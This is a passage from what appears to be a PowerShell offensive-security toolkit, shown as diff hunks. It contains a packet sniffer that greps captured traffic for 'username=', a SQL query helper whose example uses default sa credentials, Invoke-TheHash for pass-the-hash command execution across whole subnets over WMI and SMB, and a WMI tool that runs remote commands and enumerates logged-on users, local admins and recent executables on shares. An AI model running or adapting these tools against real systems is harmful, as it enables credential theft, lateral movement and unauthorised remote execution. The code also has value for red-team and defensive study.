$ProtocolDesc = "IGMP"
|
||||
$sourcePort = [uint16]0
|
||||
$destPort = [uint16]0
|
||||
$IGMPType = $BinaryReader.ReadByte()
|
||||
$IGMPMaxRespTime = $BinaryReader.ReadByte()
|
||||
$IGMPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
|
||||
$Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength - 32))
|
||||
break
|
||||
}
|
||||
6 { # TCP
|
||||
$ProtocolDesc = "TCP"
|
||||
$sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
$destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
$serviceDesc = getService( $destPort )
|
||||
$SequenceNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4)
|
||||
$AckNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4)
|
||||
$TCPHeaderLength = [int]"0x$(('{0:X}' -f $BinaryReader.ReadByte())[0])" * 4
|
||||
$TCPFlags = $BinaryReader.ReadByte()
|
||||
switch( $TCPFlags )
|
||||
{
|
||||
{ $_ -band $TCPFIN } { $TCPFlagsString += "<FIN>" }
|
||||
{ $_ -band $TCPSYN } { $TCPFlagsString += "<SYN>" }
|
||||
{ $_ -band $TCPRST } { $TCPFlagsString += "<RST>" }
|
||||
{ $_ -band $TCPPSH } { $TCPFlagsString += "<PSH>" }
|
||||
{ $_ -band $TCPACK } { $TCPFlagsString += "<ACK>" }
|
||||
{ $_ -band $TCPURG } { $TCPFlagsString += "<URG>" }
|
||||
}
|
||||
$TCPWindow = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
$TCPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
|
||||
$TCPUrgentPointer = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
if( $TCPHeaderLength -gt 20 ) # get to start of data...
|
||||
{
|
||||
[void]$BinaryReader.ReadBytes($TCPHeaderLength - 20)
|
||||
}
|
||||
# if SYN flag is set, sequence number is initial, then first data octet is ISN + 1
|
||||
if ($TCPFlags -band $TCPSYN)
|
||||
{
|
||||
$ISN = $SequenceNumber
|
||||
#$SequenceNumber = $BinaryReader.ReadBytes(1)
|
||||
[void]$BinaryReader.ReadBytes(1)
|
||||
}
|
||||
$Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength + $TCPHeaderLength))
|
||||
break
|
||||
}
|
||||
17 { # UDP
|
||||
$ProtocolDesc = "UDP"
|
||||
$sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
$destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
$serviceDesc = getService( $destPort )
|
||||
$UDPLength = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
|
||||
[void]$BinaryReader.ReadBytes(2)
|
||||
# subtract udp header length (2 octets) and convert octets to bytes
|
||||
$Data = ByteToString $BinaryReader.ReadBytes(($UDPLength - 2) * 4)
|
||||
break
|
||||
}
|
||||
default {
|
||||
$ProtocolDesc = "Other ($_)"
|
||||
$sourcePort = 0
|
||||
$destPort = 0
|
||||
}
|
||||
}
|
||||
|
||||
$BinaryReader.Close( )
|
||||
$memorystream.Close( )
|
||||
$Data = $Data.toCharArray( 0, $Data.length )
|
||||
|
||||
# resolve IP addresses to hostnames...
|
||||
if( $ResolveHosts )
|
||||
{
|
||||
# $DestinationHostName = ([System.Net.DNS]::GetHostEntry($DestinationIP.IPAddressToString)).Hostname
|
||||
$DestinationHostName = resolve( $DestinationIP )
|
||||
# $SourceHostName = ([System.Net.DNS]::GetHostEntry($SourceIP.IPAddressToString)).Hostname
|
||||
$SourceHostName = resolve( $SourceIP )
|
||||
}
|
||||
|
||||
if( ($Protocol -eq "all") -or ($Protocol -eq $ProtocolDesc) )
|
||||
{
|
||||
if( ($Port -eq "all") -or ($Port -eq $sourcePort) -or ($Port -eq $destPort) )
|
||||
{
|
||||
if( ($ScanIP -eq "all") -or ($ScanIP -eq $SourceIp) -or ($ScanIP -eq $DestinationIP) )
|
||||
#if( $ScanIP -eq $SourceIp -and $ScanIP -eq $DestinationIP )
|
||||
{
|
||||
if ((get-item $outputfile).length -gt $MaxSize)
|
||||
{
|
||||
$running = $false
|
||||
}
|
||||
Write-Output "Time:`t`t$(get-date)" | Out-File $outputfile -Append
|
||||
Write-Output "Version:`t$ipVersion`t`t`tProtocol:`t$ProtocolNumber = $ProtocolDesc" | Out-File $outputfile -Append
|
||||
Write-Output "Destination:`t$DestinationIP`t`tSource:`t`t$SourceIP" | Out-File $outputfile -Append
|
||||
if( $ResolveHosts )
|
||||
{
|
||||
Write-Output "DestinationHostName`t$DestinationHostName`tSourceHostName`t$SourceHostName" | Out-File $outputfile -Append
|
||||
}
|
||||
Write-Output "DestPort:`t$destPort`t`t`tSourcePort:`t$sourcePort" | Out-File $outputfile -Append
|
||||
switch( $ProtocolDesc )
|
||||
{
|
||||
"ICMP" {
|
||||
Write-Output "Type:`t`t$ICMPType`t`t`tDescription:`t$ICMPTypeDesc" | Out-File $outputfile -Append
|
||||
Write-Output "Code:`t`t$ICMPCode`t`t`tDescription:`t$ICMPCodeDesc" | Out-File $outputfile -Append
|
||||
break
|
||||
}
|
||||
"IGMP" {
|
||||
Write-Output "Type:`t`t$IGMPType`t`t`tMaxRespTime:`t$($IGMPMaxRespTime*100)ms" | Out-File $outputfile -Append
|
||||
break
|
||||
}
|
||||
"TCP" {
|
||||
Write-Output "Sequence:`t$SequenceNumber`t`tAckNumber:`t$AckNumber" | Out-File $outputfile -Append
|
||||
Write-Output "Window:`t`t$TCPWindow`t`t`tFlags:`t`t$TCPFlagsString" | Out-File $outputfile -Append
|
||||
Write-Output "Service:`t$serviceDesc" | Out-File $outputfile -Append
|
||||
break
|
||||
}
|
||||
"UDP" {
|
||||
Write-Output "Service:`t$serviceDesc" | Out-File $outputfile -Append
|
||||
break
|
||||
}
|
||||
}
|
||||
for( $index = 0; $index -lt $Data.length; $index++ )
|
||||
{
|
||||
# eliminate non ascii characters...
|
||||
if( $Data[$index] -lt 33 -or $Data[$index] -gt 126 )
|
||||
{
|
||||
$Data[$index] = '.'
|
||||
}
|
||||
}
|
||||
$OFS="" # eliminate spaces from output of char array
|
||||
Write-Output "Data: $Data" | Out-File $outputfile -Append
|
||||
"Data: $Data" |select-string -Pattern "username="
|
||||
Write-Output "----------------------------------------------------------------------" | Out-File $outputfile -Append
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,53 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Invoke-SqlQuery
|
||||
.DESCRIPTION
|
||||
Invoke-SqlQuery
|
||||
.EXAMPLE
|
||||
Invoke-SqlQuery -Sqlserver 10.150.10.150 -Username sa -Password sa
|
||||
#>
|
||||
function Invoke-SqlQuery {
|
||||
|
||||
param (
|
||||
[String]$ConnectionString,
|
||||
[String]$Sqlserver,
|
||||
[String]$Username,
|
||||
[String]$Password,
|
||||
[String]$Catalog,
|
||||
[String]$Database,
|
||||
[String]$Query
|
||||
)
|
||||
if (!$Database){
|
||||
$Database = ";"
|
||||
} else {
|
||||
$Database = "$Database;"
|
||||
}
|
||||
|
||||
if (!$Catalog){
|
||||
$Catalog = "Initial Catalog=Master;"
|
||||
} else {
|
||||
$Catalog = "Initial Catalog=$Catalog;"
|
||||
}
|
||||
|
||||
if ($Username -and $Password){
|
||||
$Authentication = "User Id=$Username;Password=$Password;"
|
||||
} else {
|
||||
$Authentication = "Integrated Security=True;"
|
||||
}
|
||||
|
||||
if (!$query){
|
||||
$Query = 'SELECT @@version';
|
||||
}
|
||||
|
||||
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection
|
||||
$SqlConnection.ConnectionString = "Data Source=$Sqlserver;$Catalog$Authentication$Database"
|
||||
$SqlCmd = New-Object System.Data.SqlClient.SqlCommand
|
||||
$SqlCmd.CommandText = $Query
|
||||
$SqlCmd.Connection = $SqlConnection
|
||||
$SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter
|
||||
$SqlAdapter.SelectCommand = $SqlCmd
|
||||
$DataSet = New-Object System.Data.DataSet
|
||||
$SqlAdapter.Fill($DataSet)
|
||||
$DataSet.Tables[0]
|
||||
|
||||
}
|
|
@ -0,0 +1,243 @@
|
|||
function Invoke-TheHash
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
|
||||
primarily for checking a hash against multiple systems. The function can also be used to execute commands
|
||||
on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools
|
||||
from within that session.
|
||||
|
||||
.PARAMETER Type
|
||||
Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec.
|
||||
|
||||
.PARAMETER Targets
|
||||
List of hostnames, IP addresses, or CIDR notation for targets.
|
||||
|
||||
.PARAMETER TargetsExclude
|
||||
List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format
|
||||
(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added
|
||||
to Targets within a CIDR notation, it must be excluded as an IP address.
|
||||
|
||||
.PARAMETER PortCheckDisable
|
||||
(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
|
||||
the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.
|
||||
|
||||
.PARAMETER PortCheckTimeout
|
||||
Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.
|
||||
|
||||
.PARAMETER Username
|
||||
Username to use for authentication.
|
||||
|
||||
.PARAMETER Domain
|
||||
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
|
||||
|
||||
.PARAMETER Hash
|
||||
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
|
||||
|
||||
.PARAMETER Command
|
||||
Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.
|
||||
|
||||
.PARAMETER CommandCOMSPEC
|
||||
Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
|
||||
|
||||
.PARAMETER Service
|
||||
Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
|
||||
|
||||
.PARAMETER SMB1
|
||||
(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
|
||||
target.
|
||||
|
||||
.PARAMETER Sleep
|
||||
Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
|
||||
setting if you are experiencing strange results.
|
||||
|
||||
.EXAMPLE
|
||||
Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
|
||||
.EXAMPLE
|
||||
$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
$target_list = ConvertTo-TargetList $target_output
|
||||
Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
|
||||
|
||||
.LINK
|
||||
https://github.com/Kevin-Robertson/Invoke-TheHash
|
||||
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param
|
||||
(
|
||||
[parameter(Mandatory=$true)][Array]$Targets,
|
||||
[parameter(Mandatory=$false)][Array]$TargetsExclude,
|
||||
[parameter(Mandatory=$true)][String]$Username,
|
||||
[parameter(Mandatory=$false)][String]$Domain,
|
||||
[parameter(Mandatory=$false)][String]$Service,
|
||||
[parameter(Mandatory=$false)][String]$Command,
|
||||
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
|
||||
[parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type,
|
||||
[parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100,
|
||||
[parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
|
||||
[parameter(Mandatory=$false)][Switch]$PortCheckDisable,
|
||||
[parameter(Mandatory=$false)][Int]$Sleep,
|
||||
[parameter(Mandatory=$false)][Switch]$SMB1
|
||||
)
|
||||
|
||||
$target_list = New-Object System.Collections.ArrayList
|
||||
$target_list_singles = New-Object System.Collections.ArrayList
|
||||
$target_list_subnets = New-Object System.Collections.ArrayList
|
||||
|
||||
if($Type -eq 'WMIExec')
|
||||
{
|
||||
$Sleep = 10
|
||||
}
|
||||
else
|
||||
{
|
||||
$Sleep = 150
|
||||
}
|
||||
|
||||
# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan
|
||||
foreach($target in $Targets)
|
||||
{
|
||||
|
||||
if($target.contains("/"))
|
||||
{
|
||||
$target_split = $target.split("/")[0]
|
||||
[uint32]$subnet_mask_split = $target.split("/")[1]
|
||||
|
||||
$target_address = [System.Net.IPAddress]::Parse($target_split)
|
||||
|
||||
if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8)
|
||||
{
|
||||
throw "Subnet mask is not valid"
|
||||
}
|
||||
|
||||
$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))
|
||||
|
||||
$target_start_address = $target_address.GetAddressBytes()
|
||||
[array]::Reverse($target_start_address)
|
||||
|
||||
$target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0)
|
||||
[uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split)))
|
||||
$target_start_address = $target_start_address -band $target_subnet_mask_start
|
||||
|
||||
$target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3]
|
||||
[array]::Reverse($target_start_address)
|
||||
|
||||
$target_address = [System.Net.IPAddress] [byte[]] $target_start_address
|
||||
|
||||
$target_list_subnets.Add($target_address.IPAddressToString) > $null
|
||||
|
||||
for ($i=0; $i -lt $target_count-1; $i++)
|
||||
{
|
||||
$target_next = $target_address.GetAddressBytes()
|
||||
[array]::Reverse($target_next)
|
||||
$target_next = [System.BitConverter]::ToUInt32($target_next,0)
|
||||
$target_next ++
|
||||
$target_next = [System.BitConverter]::GetBytes($target_next)[0..3]
|
||||
[array]::Reverse($target_next)
|
||||
|
||||
$target_address = [System.Net.IPAddress] [byte[]] $target_next
|
||||
$target_list_subnets.Add($target_address.IPAddressToString) > $null
|
||||
}
|
||||
|
||||
$target_list_subnets.RemoveAt(0)
|
||||
$target_list_subnets.RemoveAt($target_list_subnets.Count - 1)
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
$target_list_singles.Add($target) > $null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$target_list.AddRange($target_list_singles)
|
||||
$target_list.AddRange($target_list_subnets)
|
||||
|
||||
foreach($target in $TargetsExclude)
|
||||
{
|
||||
$target_list.Remove("$Target")
|
||||
}
|
||||
|
||||
foreach($target in $target_list)
|
||||
{
|
||||
|
||||
if($type -eq 'WMIExec')
|
||||
{
|
||||
|
||||
if(!$PortCheckDisable)
|
||||
{
|
||||
$WMI_port_test = New-Object System.Net.Sockets.TCPClient
|
||||
$WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null)
|
||||
$WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
|
||||
$WMI_port_test.Close()
|
||||
}
|
||||
|
||||
if($WMI_port_test_success -or $PortCheckDisable)
|
||||
{
|
||||
Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep
|
||||
}
|
||||
|
||||
}
|
||||
elseif($Type -eq 'SMBExec')
|
||||
{
|
||||
|
||||
if(!$PortCheckDisable)
|
||||
{
|
||||
$SMB_port_test = New-Object System.Net.Sockets.TCPClient
|
||||
$SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null)
|
||||
$SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
|
||||
$SMB_port_test.Close()
|
||||
}
|
||||
|
||||
if($SMB_port_test_success -or $PortCheckDisable)
|
||||
{
|
||||
Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function ConvertTo-TargetList
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to
|
||||
have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash
|
||||
through the Targets parameter.
|
||||
|
||||
.PARAMETER $OutputArray
|
||||
The output array returned by Invoke-TheHash.
|
||||
|
||||
.EXAMPLE
|
||||
$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
$target_list = ConvertTo-TargetList $target_output
|
||||
Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
|
||||
|
||||
.LINK
|
||||
https://github.com/Kevin-Robertson/Invoke-TheHash
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output)
|
||||
|
||||
$target_list = New-Object System.Collections.ArrayList
|
||||
|
||||
foreach($target in $ITHOutput)
|
||||
{
|
||||
|
||||
if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *")
|
||||
{
|
||||
$target_index = $target.IndexOf(" on ")
|
||||
$target_index += 4
|
||||
$target = $target.SubString($target_index,($target.Length - $target_index))
|
||||
$target_list.Add($target) > $null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $target_list
|
||||
}
|
|
@ -0,0 +1,408 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from CIDR
|
||||
|
||||
Get-IPRange 192.168.1.0/24
|
||||
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from Range
|
||||
|
||||
Get-IPRange -Range 192.168.1.1-192.168.1.50
|
||||
#>
|
||||
function New-IPv4Range
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$StartIP,
|
||||
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=2)]
|
||||
$EndIP
|
||||
)
|
||||
|
||||
# created by Dr. Tobias Weltner, MVP PowerShell
|
||||
$ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip1)
|
||||
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
|
||||
|
||||
$ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip2)
|
||||
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
|
||||
|
||||
for ($x=$ip1; $x -le $ip2; $x++) {
|
||||
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
|
||||
[Array]::Reverse($ip)
|
||||
$ip -join '.'
|
||||
}
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or
|
||||
range <StartIP>-<EndIP> format.
|
||||
.EXAMPLE
|
||||
PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5
|
||||
|
||||
Generate a collection of IPv4 Object collection for the specified range.
|
||||
|
||||
.EXAMPLE
|
||||
New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring
|
||||
|
||||
Get a list of IPv4 Addresses in a given range as a list for use in another tool.
|
||||
#>
|
||||
function New-IPRange
|
||||
{
|
||||
[CmdletBinding(DefaultParameterSetName='CIDR')]
|
||||
Param(
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'CIDR',
|
||||
Position=0)]
|
||||
[string]$CIDR,
|
||||
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'Range',
|
||||
Position=0)]
|
||||
[string]$Range
|
||||
)
|
||||
if($CIDR)
|
||||
{
|
||||
$IPPart,$MaskPart = $CIDR.Split('/')
|
||||
$AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily
|
||||
|
||||
# Get the family type for the IP (IPv4 or IPv6)
|
||||
$subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily)
|
||||
|
||||
# Get the Network and Brodcast Addressed
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj)
|
||||
|
||||
# Ensure we do not list the Network and Brodcast Address
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP)
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
elseif ($Range)
|
||||
{
|
||||
$StartIP, $EndIP = $range.split('-')
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a CIDR.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs
|
||||
PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29
|
||||
192.168.1.1
|
||||
192.168.1.2
|
||||
192.168.1.3
|
||||
192.168.1.4
|
||||
192.168.1.5
|
||||
192.168.1.6
|
||||
192.168.1.7
|
||||
#>
|
||||
function New-IPv4RangeFromCIDR
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$Network
|
||||
)
|
||||
# Extract the portions of the CIDR that will be needed
|
||||
$StrNetworkAddress = ($Network.split('/'))[0]
|
||||
[int]$NetworkLength = ($Network.split('/'))[1]
|
||||
$NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes()
|
||||
$IPLength = 32-$NetworkLength
|
||||
[Array]::Reverse($NetworkIP)
|
||||
$NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1
|
||||
$NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address
|
||||
$StartIP = $NetworkIP +1
|
||||
$EndIP = $NetworkIP + $NumberOfIPs
|
||||
# We make sure they are of type Double before conversion
|
||||
If ($EndIP -isnot [double])
|
||||
{
|
||||
$EndIP = $EndIP -as [double]
|
||||
}
|
||||
If ($StartIP -isnot [double])
|
||||
{
|
||||
$StartIP = $StartIP -as [double]
|
||||
}
|
||||
# We turn the start IP and end IP in to strings so they can be used.
|
||||
$StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString
|
||||
$EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString
|
||||
New-IPv4Range $StartIP $EndIP
|
||||
}
|
||||
|
||||
$runme =
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$Creds,
|
||||
[Bool]
|
||||
$Allshares,
|
||||
[Object]
|
||||
$Command
|
||||
)
|
||||
|
||||
$getcreds = $Creds
|
||||
$Port = 135
|
||||
$Socket = New-Object Net.Sockets.TcpClient
|
||||
$Socket.client.ReceiveTimeout = 2000
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$Socket.Connect($IPAddress, $Port)
|
||||
$ErrorActionPreference = 'Continue'
|
||||
|
||||
if ($Socket.Connected) {
|
||||
#Object to store result
|
||||
$endpointResult = New-Object PSObject | Select-Object Host, PortOpen, LoggedOnUsers, LocalAdministrators, Members, SharesTested, FilesFound
|
||||
$endpointResult.PortOpen = 'Open'
|
||||
$endpointResult.Host = $IPAddress
|
||||
$Socket.Close()
|
||||
} else {
|
||||
$portclosed = 'True'
|
||||
}
|
||||
|
||||
$Socket = $null
|
||||
|
||||
if ($endpointResult.PortOpen -eq 'Open')
|
||||
{
|
||||
if ($command) {
|
||||
# run a command of my choice
|
||||
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $IPAddress -Credential $getcreds -ArgumentList $Command
|
||||
}
|
||||
# Get logged in users from remote machine
|
||||
$proc = Get-WmiObject -ComputerName $IPAddress -Credential $getcreds -query "SELECT * from win32_process WHERE Name = 'explorer.exe'"
|
||||
|
||||
# Go through collection of processes and check for local admin rights
|
||||
ForEach ($p in $proc) {
|
||||
$temp = '' | Select-Object Computer, Domain, User
|
||||
$user = ($p.GetOwner()).User
|
||||
$domain = ($p.GetOwner()).Domain
|
||||
if($user){
|
||||
$username = "$domain\$user"
|
||||
$endpointResult.LoggedOnUsers += "'$username' "
|
||||
}
|
||||
|
||||
|
||||
# Get local admin users
|
||||
$arr = @()
|
||||
$ComputerName = (Get-WmiObject -ComputerName $IPAddress -Credential $getcreds -Class Win32_ComputerSystem).Name
|
||||
$wmi = Get-WmiObject -ComputerName $ComputerName -Credential $getcreds -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$ComputerName',Name='Administrators'`""
|
||||
|
||||
# Parse out the username from each result and append it to the array.
|
||||
if ($wmi -ne $null)
|
||||
{
|
||||
foreach ($item in $wmi)
|
||||
{
|
||||
$data = $item.PartComponent -split '\,'
|
||||
$domain = ($data[0] -split '=')[1]
|
||||
$name = ($data[1] -split '=')[1]
|
||||
$arr += ("$domain\$name").Replace('"','')
|
||||
$currentuser = ("$domain\$name").Replace('"','')
|
||||
[Array]::Sort($arr)
|
||||
if ($currentuser)
|
||||
{
|
||||
$endpointResult.Members += "'$currentuser' "
|
||||
}
|
||||
if ($currentuser -contains $username)
|
||||
{
|
||||
$endpointResult.LocalAdministrators += "'$currentuser' "
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!$Allshares) {
|
||||
# Test for the default ADMIN$ share
|
||||
$wmiquery = 'Select * from Win32_Share'
|
||||
$availableShares = Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds)
|
||||
foreach ($share in $availableShares){
|
||||
if ($share.Name -eq 'ADMIN$'){
|
||||
$sharename = $share.Name
|
||||
$endpointResult.SharesTested += "'$sharename' "
|
||||
$drive = ($share.Path).Substring(0,1)
|
||||
$path = (($share.Path).Substring(2)).Replace('\','\\')
|
||||
$path = $path+'\\'
|
||||
$path = $path.Replace('\\\\\\\\','\\')
|
||||
$path = $path.Replace('\\\\\\','\\')
|
||||
$path = $path.Replace('\\\\','\\')
|
||||
$datesearch = (Get-Date).AddMonths(-1).ToString('MM/dd/yyyy')
|
||||
$wmiquery = "SELECT * FROM CIM_DataFile WHERE Drive='"+$drive+":' AND Path='"+$path+"' AND Extension='exe' AND CreationDate > '"+$datesearch+"' "
|
||||
Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) | foreach{ $filename = $_.Name; $endpointResult.FilesFound += "'$filename' "}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
# Test against all available all shares
|
||||
$wmiquery = 'Select * from Win32_Share'
|
||||
$availableShares = Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds)
|
||||
foreach ($share in $availableShares){
|
||||
if ($share.Name -ne 'IPC$'){
|
||||
$sharename = $share.Name
|
||||
$endpointResult.SharesTested += "'$sharename' "
|
||||
$drive = ($share.Path).Substring(0,1)
|
||||
$path = (($share.Path).Substring(2)).Replace('\','\\')
|
||||
$path = $path+'\\'
|
||||
$path = $path.Replace('\\\\\\\\','\\')
|
||||
$path = $path.Replace('\\\\\\','\\')
|
||||
$path = $path.Replace('\\\\','\\')
|
||||
$datesearch = (Get-Date).AddMonths(-1).ToString('MM/dd/yyyy')
|
||||
$wmiquery = "SELECT * FROM CIM_DataFile WHERE Drive='"+$drive+":' AND Path='"+$path+"' AND Extension='exe' AND CreationDate > '"+$datesearch+"' "
|
||||
Get-WmiObject -Query $wmiquery -ComputerName $IPAddress -Credential($getcreds) | foreach{ $filename = $_.Name; $endpointResult.FilesFound += "'$filename' "}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return $endpointResult
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
WMI Checker over Windows RPC Ports (TCP 135) - @benpturner
|
||||
.DESCRIPTION
|
||||
WMI Tool written to search for files younger than a month on network shares. This also searches is the current logged in user is part of the Local Administrators group. All communications is done over Windows RPC Ports (TCP 135)
|
||||
.EXAMPLE
|
||||
Invoke-WMIChecker -IPAddress 172.16.0.205
|
||||
.EXAMPLE
|
||||
